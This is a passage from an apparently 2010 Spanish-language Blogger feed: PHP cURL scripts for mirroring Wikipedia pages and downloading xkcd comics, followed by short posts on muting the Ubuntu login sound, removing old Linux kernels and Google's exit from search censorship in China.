&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&amp;gt;');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fwrite($fp, $salida);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fwrite($fp,"&amp;lt;/html&amp;gt;");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose($fp);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&amp;nbsp;Ejecutamos, lo dejamos días y se nos baja la wikipedia entera :)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;DESCARGARSE TODO XKCD&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S0-5AK-wyPI/AAAAAAAAASY/GDxBbb2aNRk/s1600-h/xkcdLogo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S0-5AK-wyPI/AAAAAAAAASY/GDxBbb2aNRk/s320/xkcdLogo.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;XKCD&lt;/b&gt; es un &lt;b&gt;WebComic&lt;/b&gt; muy popular, su construcción de URLS es muy sencilla por lo que nos puede resultar bastante sencillo. Para ello crearemos el archivo xkcd.php que contendrá:&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: #38761d;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;/*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is free software; you can redistribute it and/or modify&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; it under the terms of the GNU General Public License as published by&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the Free Software Foundation; either version 2 of the License, or&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (at your option) any later version.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is distributed in the hope that it will be useful,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GNU General Public License for more details.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You should have received a copy of the GNU General Public License&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; along with this program; if not, write to the Free Software&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MA 02110-1301, USA.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for ($i=1; $i&amp;lt;=688; $i++){//Numero de comics&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $ch = curl_init('http://xkcd.com/'.$i);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);//Para que siga las redirecciones.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salida = curl_exec ($ch);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close ($ch);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; preg_match("/(http:\/\/imgs.xkcd.com\/comics\/)(.)*(\")/i", $salida, $resultados);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imagen = $resultados[0];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imagen = explode('"',$imagen);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imagen = $imagen[0];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $ch = curl_init($imagen);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);//Para que siga las redirecciones.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salida = curl_exec ($ch);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close ($ch);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $imagen = str_replace("http://imgs.xkcd.com/comics/","",$imagen);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $fp = fopen($imagen, 'w');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fwrite($fp, $salida);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose($fp);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo "guardado ".$i."\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;OTRAS OPCIONES&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Curl tiene muchas opciones, hemos visto algunas de ellas, pero aquí tenéis el ARRAY completo con todas las opciones.&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;span style="color: #38761d;"&gt;$options = array(&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_RETURNTRANSFER =&amp;gt; true, //Devuelve la transferencia a la variable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_HEADER         =&amp;gt; true, //Envia las cabeceras&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_FOLLOWLOCATION =&amp;gt; false, //Acepta redirecciones&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_ENCODING       =&amp;gt; "", //Codificacion&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_USERAGENT      =&amp;gt; "Mi Navegador; Mi Sistema Operativo!!)", &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_AUTOREFERER    =&amp;gt; true,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_CONNECTTIMEOUT =&amp;gt; 120, &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_TIMEOUT        =&amp;gt; 120,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_MAXREDIRS      =&amp;gt; 10, &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_POST           =&amp;gt; 2, &lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_POSTFIELDS     =&amp;gt; "$postfields", // datos post&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_COOKIEFILE     =&amp;gt; "cookies.txt", // de donde leer cookies anteriormente guardadas&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;        CURLOPT_COOKIEJAR      =&amp;gt; "cookies.txt" // en donde guardar cookies&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&amp;nbsp;Ya sabéis, esto tiene muchísimas &lt;b&gt;aplicaciones&lt;/b&gt;. Podéis hacer desde un &lt;b&gt;navegador&lt;/b&gt; en PHP ha un cliente &lt;b&gt;FTP&lt;/b&gt; pasando por actividades más divertidas como búsqueda y explotación de fallos.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5120098700069774551?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5120098700069774551/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/php-curling-nation.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5120098700069774551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5120098700069774551'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/php-curling-nation.html' title='PHP y Curl - Curling the nation'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S0-4uKGFGQI/AAAAAAAAASI/yo11fjCIP9s/s72-c/php8.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5886155071198388717</id><published>2010-01-13T02:16:00.000+01:00</published><updated>2010-01-13T02:16:37.039+01:00</updated><title type='text'>Ubuntu - Quitar sonido inicio de sesión.</title><content type='html'>Normalmente cuando &lt;b&gt;empleamos&lt;/b&gt; un &lt;b&gt;portátil&lt;/b&gt; solemos llevarlo a sitios bastante dispares. Cuando es un sitio donde se necesita &lt;b&gt;silencio&lt;/b&gt; como una &lt;b&gt;biblioteca&lt;/b&gt; o en medio de clase, el &lt;b&gt;sonido de inicio de sesión&lt;/b&gt; puede resultar bastante &lt;b&gt;molesto&lt;/b&gt;. Sin duda este &lt;b&gt;sonido&lt;/b&gt; fue de gran &lt;b&gt;utilidad&lt;/b&gt; cuando los ordenadores iban a pedales y uno se iba a tomar un café esperando escuchar el &lt;b&gt;sonido&lt;/b&gt; que &lt;b&gt;marcaba&lt;/b&gt; que ya estaba &lt;b&gt;listo&lt;/b&gt; su PC. Esta es su verdadera &lt;b&gt;utilidad&lt;/b&gt; pero actualmente los &lt;b&gt;sistemas operativos&lt;/b&gt; cargan bastante rápido y este sonido se hace innecesario &lt;br /&gt;&lt;br /&gt;Por ello mismo si lo que &lt;b&gt;queremos&lt;/b&gt; es &lt;b&gt;quitar&lt;/b&gt; este &lt;b&gt;sonido&lt;/b&gt; del pasado, tendremos que ir a &lt;b&gt;Sistema &amp;gt; Preferencias &amp;gt; Aplicaciones al inicio&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Aquí buscaremos &lt;b&gt;Gnome Login Sound&lt;/b&gt; y lo desactivaremos.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S00eS_r95LI/AAAAAAAAASA/G1NhjN60JT0/s1600-h/quitar_sonido_inicio.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S00eS_r95LI/AAAAAAAAASA/G1NhjN60JT0/s320/quitar_sonido_inicio.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;Cerramos&lt;/b&gt; y ya está. La próxima vez que iniciemos sesión no escucharemos nada y encima iniciará más rápido.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5886155071198388717?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5886155071198388717/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-quitar-sonido-inicio-de-sesion.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5886155071198388717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5886155071198388717'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ubuntu-quitar-sonido-inicio-de-sesion.html' title='Ubuntu - Quitar sonido inicio de sesión.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S00eS_r95LI/AAAAAAAAASA/G1NhjN60JT0/s72-c/quitar_sonido_inicio.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-8326062264759047381</id><published>2010-01-13T02:00:00.001+01:00</published><updated>2010-01-13T02:01:48.689+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Optimizaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Linux - Borrar kernels antiguos</title><content type='html'>Cuando llevamos un &lt;b&gt;tiempo&lt;/b&gt; empleando una &lt;b&gt;distribución&lt;/b&gt; es normal que se nos &lt;b&gt;actualice&lt;/b&gt; varias veces el &lt;b&gt;Kernel&lt;/b&gt; para &lt;b&gt;corregir fallos&lt;/b&gt; y &lt;b&gt;añadir mejoras&lt;/b&gt;. En cualquier caso si llevas más de un año sin &lt;b&gt;formatear&lt;/b&gt; y no tienes ningún problema de &lt;b&gt;compatibilidades&lt;/b&gt; lo mejor es que vayas dejando &lt;b&gt;como mucho 3 versiones&lt;/b&gt; instaladas ya que como es lógico el &lt;b&gt;consumo&lt;/b&gt; de &lt;b&gt;disco&lt;/b&gt; tiene su &lt;b&gt;importancia&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;saber&lt;/b&gt; que &lt;b&gt;versiones&lt;/b&gt; del &lt;b&gt;kernel&lt;/b&gt; tenemos &lt;b&gt;instaladas&lt;/b&gt; ejecutaremos el siguiente &lt;b&gt;comando&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;dpkg --get-selections | grep linux-image&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S00ZRjKF5XI/AAAAAAAAAR4/GHUTk8gEyjA/s1600-h/kernels.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S00ZRjKF5XI/AAAAAAAAAR4/GHUTk8gEyjA/s320/kernels.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Como se puede observar tengo &lt;b&gt;3 versiones del núcleo&lt;/b&gt; o Kernel. La última que se muestra &lt;b&gt;no debes borrarla&lt;/b&gt; porque es &lt;b&gt;necesaria&lt;/b&gt; para poder seguir &lt;b&gt;actualizando el Kernel&lt;/b&gt;. En cualquier caso y como dijimos anteriormente si tienes &lt;b&gt;más de 3&lt;/b&gt; procede a &lt;b&gt;borrar&lt;/b&gt; las más &lt;b&gt;antiguas&lt;/b&gt;. Para &lt;b&gt;borrarlo&lt;/b&gt; es realmente &lt;b&gt;sencillo&lt;/b&gt;, sólo hay que ejecutar en un terminal lo siguiente &lt;b&gt;modificando&lt;/b&gt; las &lt;b&gt;X&lt;/b&gt; por el &lt;b&gt;número&lt;/b&gt; de &lt;b&gt;versión&lt;/b&gt;.&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo aptitude purge linux-image-&lt;span style="color: red;"&gt;X.X.XX-XX&lt;/span&gt;-generic &lt;br /&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;Listo, ya tenéis borrado parte de los kernels que no usáis con lo que &lt;b&gt;ahorraréis&lt;/b&gt; &lt;b&gt;espacio&lt;/b&gt;, aproximadamente &lt;b&gt;60 mb&lt;/b&gt;&amp;nbsp; y además tendréis un &lt;b&gt;elemento&lt;/b&gt; menos en la &lt;b&gt;lista&lt;/b&gt; de inicio del &lt;a href="http://donzeyt.blogspot.com/2009/12/linux-grub-gestor-de-arranque.html"&gt;&lt;b&gt;GRUB&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-8326062264759047381?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/8326062264759047381/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/linux-borrar-kernels-antiguos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8326062264759047381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8326062264759047381'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/linux-borrar-kernels-antiguos.html' title='Linux - Borrar kernels antiguos'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S00ZRjKF5XI/AAAAAAAAAR4/GHUTk8gEyjA/s72-c/kernels.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-6329077439582340596</id><published>2010-01-13T01:37:00.002+01:00</published><updated>2010-01-13T01:37:54.243+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SEO'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Dont Be Evil - Retirada del filtro de búsquedas</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S00UlLfNzBI/AAAAAAAAARw/q_IRGEpEWgk/s1600-h/logo_cn.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S00UlLfNzBI/AAAAAAAAARw/q_IRGEpEWgk/s320/logo_cn.gif" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Según leo a través del &lt;a href="http://googleblog.blogspot.com/2010/01/new-approach-to-china.html"&gt;blog oficial de Google, &lt;/a&gt;el mayor buscador del mundo ha dejado de &lt;a href="http://donzeyt.blogspot.com/2009/12/historias-dont-be-evil.html"&gt;censurar las búsquedas en China &lt;/a&gt;debido a unos &lt;b&gt;extraños ataques&lt;/b&gt; que sufrieron en &lt;b&gt;China&lt;/b&gt; y que propiciaron el &lt;b&gt;robo de información &lt;/b&gt;privada de Google.&lt;br /&gt;&lt;br /&gt;Además como indica la noticia, no sólo &lt;b&gt;Google&lt;/b&gt; fue atacada si no una serie de &lt;b&gt;empresas&lt;/b&gt; de &lt;b&gt;tecnología&lt;/b&gt; y &lt;b&gt;finanzas&lt;/b&gt; con una fuerte &lt;b&gt;posición en internet&lt;/b&gt;. Además por si fuera poco, Google ha descubierto que la &lt;b&gt;información buscada&lt;/b&gt; eran las &lt;b&gt;contraseñas&lt;/b&gt; de las &lt;b&gt;cuentas&lt;/b&gt; de &lt;b&gt;correo&lt;/b&gt; de &lt;b&gt;usuarios chinos defensores de los derechos humanos&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Google también afirma que &lt;b&gt;no&lt;/b&gt; han sido robadas &lt;b&gt;explotando&lt;/b&gt; &lt;b&gt;fallos&lt;/b&gt; de &lt;b&gt;Gmail&lt;/b&gt; si no que han sido &lt;b&gt;robadas&lt;/b&gt; con &lt;b&gt;malware&lt;/b&gt; o &lt;b&gt;phising&lt;/b&gt; instalado en los ordenadores de los usuarios. Todo esto suena bastante &lt;b&gt;contradictorio&lt;/b&gt; ya que google afirma que le han &lt;b&gt;robado información&lt;/b&gt; privada y&amp;nbsp; que las cuentas de gmail han sido robadas por phising. Si así fuera, no creo que hubiese sido el &lt;b&gt;gobierno Chino&lt;/b&gt;. En cualquier caso hay que &lt;b&gt;aplaudir&lt;/b&gt; que dejen de &lt;b&gt;censurar sus reulstados&lt;/b&gt; en &lt;b&gt;google.cn&lt;/b&gt; .&lt;br /&gt;&lt;br /&gt;En unas cuantas &lt;b&gt;semanas&lt;/b&gt; sabremos como irán las nuevas &lt;b&gt;negociaciones&lt;/b&gt; con el &lt;b&gt;gobierno chino&lt;/b&gt; y cual será el &lt;b&gt;futuro del buscador&lt;/b&gt; en el gigante asiático.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-6329077439582340596?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/6329077439582340596/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/dont-be-evil-retirada-del-filtro-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6329077439582340596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6329077439582340596'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/dont-be-evil-retirada-del-filtro-de.html' title='Dont Be Evil - Retirada del filtro de búsquedas'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S00UlLfNzBI/AAAAAAAAARw/q_IRGEpEWgk/s72-c/logo_cn.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7766734782347794993</id><published>2010-01-12T20:06:00.000+01:00</published><updated>2010-01-12T20:06:05.625+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Terminal'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><title type='text'>Modificar terminal gráficamente</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a 